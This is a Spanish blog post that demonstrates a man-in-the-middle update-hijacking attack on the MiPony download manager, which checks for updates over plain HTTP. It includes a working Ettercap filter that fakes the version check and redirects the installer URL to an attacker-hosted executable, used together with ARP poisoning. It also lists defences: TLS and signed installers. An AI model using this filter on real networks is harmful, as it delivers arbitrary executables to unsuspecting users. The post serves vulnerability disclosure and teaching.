15 Marzo, 2017 a las 7:15

Cómo todos sabemos cuando un programa se actualiza este lo hace realizando una solicitud a un servidor, este le responde diciendo cual es la versión actual y donde descargarla. A continuación si el programa tiene una versión distinta descarga el instalador y lo ejecuta, hasta aquí nada nuevo pero si no se toman las medidas adecuadas las actualizaciones pueden ser un fallo de seguridad en si mismo. Contradictorio ¿no?

Básicamente son aquellas en las que una vez descargadas, el sistema de actualizaciones no comprueba si ese fichero es legítimo (bien mediante la firma del fabricante o cualquier otra medida de seguridad) por lo que si un atacante efectúa un Man In The Middle podría hacerse pasar por el servidor y decirle al actualizador que existe una nueva versión la cual debe descargarse desde un servidor ilegitimo.

Caso práctico vulnerabilidad Evilgrade en MiPony.

El primer paso es saber de que forma se actualiza la aplicación, saber cómo verifica si está actualizada o no y de dónde obtiene los ficheros necesarios para obtener dicha actualización. En mi caso he decidido auditar la última versión de MiPony simplemente por que me olía que sería vulnerable a este tipo de ataques. Obviamente he avisado MiPony de esta vulnerabilidad así que imagino que la resolverán en breve.

Para monitorizar como trabaja la aplicación a la hora de buscar actualizaciones simplemente dejaremos ejecutando MiPony sin ningún trabajo activo, además mediante WireShark capturaremos el tráfico de red. Por último pediremos a MiPony que nos busque actualizaciones, un vez hecho paramos Wireshark y analizamos el tráfico generado.

Lo primero que podemos ver es que el programa realiza una consulta HTTP hacia http://www.mipony.net/checkversion/?v=2.0.0&l=es-ES no hay que ser un genio para intuir que el la variable v=2.0.0 corresponde a la versión del programa. Posteriormente podemos ver resaltado en azul que el servidor nos devuelve una página Web con el texto “ok”. Esto se produce por que tenemos la última versión, por tanto el programa al recibir el texto “ok” sabe que está actualizado y ahí termina el proceso.

¿Pero que pasaría si nuestra versión no fuera la 2.0.0? Pues muy fácil podemos comprobarlo visitando la URL cambiando el parametro v, por ejemplo si visitamos http://www.mipony.net/checkversion/?v=1.0.0&l=es-ES veremos que la respuesta es distinta, en este caso nos devuelve una URL: http://www.mipony.net/checkversion/download.php la cual es la dirección que se abre cuando no tenemos MiPony actualizado y pulsamos en actualizar.

Modificando las peticiones y explotando Evilgrade en MiPony

Muy bien, ya sabemos el método que usa MiPony para actualizarse: Consulta una URL, si esta responde OK el programa sabe que está actualizado, si devuelve una URL nos abre dicha dirección la cual contiene una página donde descargar la última versión o un enlace directo al instalador, ahora toca modificar la respuesta que realiza MiPony para hacer que dicha URL apunte a nuestro propio servidor, para ello utilizaremos una potentisima herramienta llamada Ettercap.

Ettercap es una herramienta la cual incluye multiples herramientas para ataques Man In The Middle, lo mas interesante de ella es que podemos programar filtros que modifiquen los paquetes de la red, si nunca has utilizado ettercap lee primero algo acerca de el.

He escrito un pequeño filtro para ettercap que os pongo aquí, como veis el lenguage es muy parecido a C, con algunas diferencias, por ejemplo la sentencia if () debe llevar un espacio entre if y el paréntesis.

Si necesitas ayuda para escribir tus propios filtros consulta $man etterfilter para ver las funciones disponibles.

mipony.filter

#En caso de que sea una petición TCP Web
if (ip.proto == TCP && tcp.dst == 80) {
    #Y contenga MiPony
    if (search(DATA.data, "mipony")){
        #Modifica la cadena 2.0 por 1.0
        replace("2.0", "1.0");
        msg("mipony detectado");
    }
#En caso de que la peticion no sea TCP
}else{
    #Pero si contenga MiPony
    if (search(DATA.data, "mipony")){
        #modifica la url de la pagina de descargas, por la url que contiene nuestro exe
        replace("http://www.mipony.net/checkversion/download.php", "http://blogdemigueldiaz.com/descarga/mipony.exe");
        msg("mipony2 detectado");
    }
}

Lo que hace es comprobar los paquetes que contienen “mipony” y realiza dos acciones, en caso de que sea TCP modifica el texto 2.0 por 1.0, de esta forma cuando se realice la petición  a http://www.mipony.net/checkversion/?v=2.0.0&l=es-ES realmente el servidor recibirá una petición hacia http://www.mipony.net/checkversion/?v=1.0.0&l=es-ES, por otro lado las consultas que no sean TCP pero que si contengan “mipony”, es decir las respuestas que nos de el servidor reemplazara la cadena “http://www.mipony.net/checkversion/download.php” por “http://blogdemigueldiaz.com/descarga/mipony.exe” que es donde guardaremos el ejecutable que queramos que el usuario descargue y ejecute, notese que ambas cadenas contienen el mismo número de caracteres en caso contrario no coincidiría con la longitud del paquete y nos daría problemas. Una vez hayáis escrito vuestro filtro debéis compilarlo con:

Donde mipony.filter sería el fichero de código fuente y mipony.ef el fichero de salida, si alguna vez habéis usado gcc os sonará la sintaxis.

Ahora por nuestra parte solo faltaría iniciar ettercap realizar un ataque MITM y cargar el filtro, podéis realizarlo tanto en con la interfaz gráfica ejecutando ettercap -C o ettercap -G como en la versión de texto de esta forma

Dónde -Q es para que no nos muestre información sobre cada paquete, -M el modo para realizar el ataque de MITM en nuestro caso ARP Poisoning -F es el filtro que queramos aplicar y -T que queremos usar ettercap en modo texto.

Cuando una víctima en nuestra red abra su programa obtendrá un bonito mensaje diciendo que si desea actualizar MiPony, al pulsar Si se descargará el ejecutable que nosotros le hayamos pedido.

Métodos de proteger nuestras aplicaciones:

Hay muchísimos métodos para ello, los dos principales serían utilizar protocolos cifrados como SSL para impedir que nuestros paquetes sean vistos y modificados por terceros y  que sea el propio software el que arranque el programa de instalación y que SIEMPRE se asegure que el programa está debidamente firmado.

Nada mas,

Happy Hacking.

Acerca de Miguel Díaz

Informático, enamorado de la programación, diseño Web y el deporte.
Categorías: Pentesting, Programación, Seguridad, Sockets. Etiquetas: , , , , , , , .

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *